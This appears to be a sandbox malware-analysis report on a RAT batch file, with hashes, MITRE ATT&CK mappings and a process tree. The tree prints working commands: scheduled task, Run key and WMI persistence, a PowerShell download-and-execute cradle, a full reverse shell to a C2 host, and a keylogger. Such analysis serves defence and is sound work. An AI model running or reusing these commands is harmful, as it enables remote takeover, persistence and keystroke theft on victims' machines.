382535ced6734193074b1b6967a95d6948a4f145d839efabbbe912a131f65957

Analysis

max time kernel
149s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 01:38

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General

Target
rat_build_153988_014427.bat
Size 4KB
Sample260529-b2evhsgz5j
SHA256 382535ced6734193074b1b6967a95d6948a4f145d839efabbbe912a131f65957
MD5 12d2980333e68d6306646ff8c647ffd1
SHA1 4e031570054ce8a693d7fb693936d602e40df744
SHA512 32ac2c65844b7d314ab4bfdc48b328f14cb2aca2facf261b4dc5c29ae3d26ddccd9a81cfa9f2c4404393db0443b1cbed206edb2a3de7b42a24c9c9f49d2618b5
SSDEEP 96:QIDKWG7EHPqh+3iVhxpAmVivFWIoHQgV8SiFgZk8mvlo1Zhd:QoG7sChOohxNGoQmiFgkHlohd
TLSH
T1C0B1D62767D771A094B15718CA733C58136CE9F72381C69EBA85CEF0094CA8B951A6F3
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_153988.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3056	powershell.exe
912	powershell.exe
1572	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_153988 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_153988.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1984	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4968	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4124	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4012	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1572	powershell.exe
1572	powershell.exe
912	powershell.exe
912	powershell.exe
3056	powershell.exe
3056	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	3512	WMIC.exe
Token: SeSecurityPrivilege	3512	WMIC.exe
Token: SeTakeOwnershipPrivilege	3512	WMIC.exe
Token: SeLoadDriverPrivilege	3512	WMIC.exe
Token: SeSystemProfilePrivilege	3512	WMIC.exe
Token: SeSystemtimePrivilege	3512	WMIC.exe
Token: SeProfSingleProcessPrivilege	3512	WMIC.exe
Token: SeIncBasePriorityPrivilege	3512	WMIC.exe
Token: SeCreatePagefilePrivilege	3512	WMIC.exe
Token: SeBackupPrivilege	3512	WMIC.exe
Token: SeRestorePrivilege	3512	WMIC.exe
Token: SeShutdownPrivilege	3512	WMIC.exe
Token: SeDebugPrivilege	3512	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3512	WMIC.exe
Token: SeRemoteShutdownPrivilege	3512	WMIC.exe
Token: SeUndockPrivilege	3512	WMIC.exe
Token: SeManageVolumePrivilege	3512	WMIC.exe
Token: 33	3512	WMIC.exe
Token: 34	3512	WMIC.exe
Token: 35	3512	WMIC.exe
Token: 36	3512	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3512	WMIC.exe
Token: SeSecurityPrivilege	3512	WMIC.exe
Token: SeTakeOwnershipPrivilege	3512	WMIC.exe
Token: SeLoadDriverPrivilege	3512	WMIC.exe
Token: SeSystemProfilePrivilege	3512	WMIC.exe
Token: SeSystemtimePrivilege	3512	WMIC.exe
Token: SeProfSingleProcessPrivilege	3512	WMIC.exe
Token: SeIncBasePriorityPrivilege	3512	WMIC.exe
Token: SeCreatePagefilePrivilege	3512	WMIC.exe
Token: SeBackupPrivilege	3512	WMIC.exe
Token: SeRestorePrivilege	3512	WMIC.exe
Token: SeShutdownPrivilege	3512	WMIC.exe
Token: SeDebugPrivilege	3512	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3512	WMIC.exe
Token: SeRemoteShutdownPrivilege	3512	WMIC.exe
Token: SeUndockPrivilege	3512	WMIC.exe
Token: SeManageVolumePrivilege	3512	WMIC.exe
Token: 33	3512	WMIC.exe
Token: 34	3512	WMIC.exe
Token: 35	3512	WMIC.exe
Token: 36	3512	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1844	WMIC.exe
Token: SeSecurityPrivilege	1844	WMIC.exe
Token: SeTakeOwnershipPrivilege	1844	WMIC.exe
Token: SeLoadDriverPrivilege	1844	WMIC.exe
Token: SeSystemProfilePrivilege	1844	WMIC.exe
Token: SeSystemtimePrivilege	1844	WMIC.exe
Token: SeProfSingleProcessPrivilege	1844	WMIC.exe
Token: SeIncBasePriorityPrivilege	1844	WMIC.exe
Token: SeCreatePagefilePrivilege	1844	WMIC.exe
Token: SeBackupPrivilege	1844	WMIC.exe
Token: SeRestorePrivilege	1844	WMIC.exe
Token: SeShutdownPrivilege	1844	WMIC.exe
Token: SeDebugPrivilege	1844	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1844	WMIC.exe
Token: SeRemoteShutdownPrivilege	1844	WMIC.exe
Token: SeUndockPrivilege	1844	WMIC.exe
Token: SeManageVolumePrivilege	1844	WMIC.exe
Token: 33	1844	WMIC.exe
Token: 34	1844	WMIC.exe
Token: 35	1844	WMIC.exe
Token: 36	1844	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1844	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3456 wrote to memory of 4012	3456	cmd.exe	89
PID 3456 wrote to memory of 4124	3456	cmd.exe	90
PID 3456 wrote to memory of 3512	3456	cmd.exe	91
PID 3456 wrote to memory of 1844	3456	cmd.exe	92
PID 3456 wrote to memory of 2004	3456	cmd.exe	93
PID 3456 wrote to memory of 4968	3456	cmd.exe	95
PID 3456 wrote to memory of 1984	3456	cmd.exe	99
PID 3456 wrote to memory of 1572	3456	cmd.exe	100
PID 3456 wrote to memory of 912	3456	cmd.exe	101
PID 3456 wrote to memory of 3056	3456	cmd.exe	102

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_153988_014427.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3456
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_153988" /tr "C:\Users\Admin\AppData\Local\Temp\_153988.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4012
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_153988" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_153988.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:4124
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_153988", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3512
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_153988", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_153988.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1844
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_153988.txt
  2⤵
  PID:2004
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:4968
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:1984
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_153988.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1572
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3056

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 76fe6db2a2b59f12f7191c10d39133c7a8fa47104296e97f32225f43bfe2a08b
MD5 bcaa0577d8f5d51e30e98037f709813f
SHA1 1e3ee8aa65a089fed90cabf4eaf4eef6d2a179a6
SHA512 57e1dded73217bb2f0e1c45a372722af1af72542badfcc4349a5c58c19fbc2892b94e69c34dbfe500bbd4a9431c5c23456620d84943b071e6108a3dc6e9e703f
TLSH
T1AC117627F39CC961CC96153A409DAC1172B683DB81AEDF9FAFC4D214A07F984CB712A4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 0d5507fa72fa731e53374f15752bcd6204889a80174b7d61bbd2256e7caad424
MD5 214049bdc8d473528180bb22e9fa3ce8
SHA1 243a406d6918c60e2763c2205592ff01ea2f6419
SHA512 dceeb8a4a1ac2b9d195c5b6480d9de0543823ac20c8e1b0c7b3851a625ed0d321e41cfd106198701f9bfce08e75bcc249a226171af3b9bafa9983e168d14c332
TLSH
T187115727B39C89A1CC96163A409D9C1172B683DB409EDEDF6BC0D214E1BF584CB71190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_kj4ocgqs.jtu.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kj4ocgqs.jtu.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/912-24-0x000002735A9B0000-0x000002735AB1A000-memory.dmp

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memory/1572-10-0x0000020CF7E90000-0x0000020CF7EB2000-memory.dmp

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memory/1572-13-0x0000020CF8210000-0x0000020CF837A000-memory.dmp

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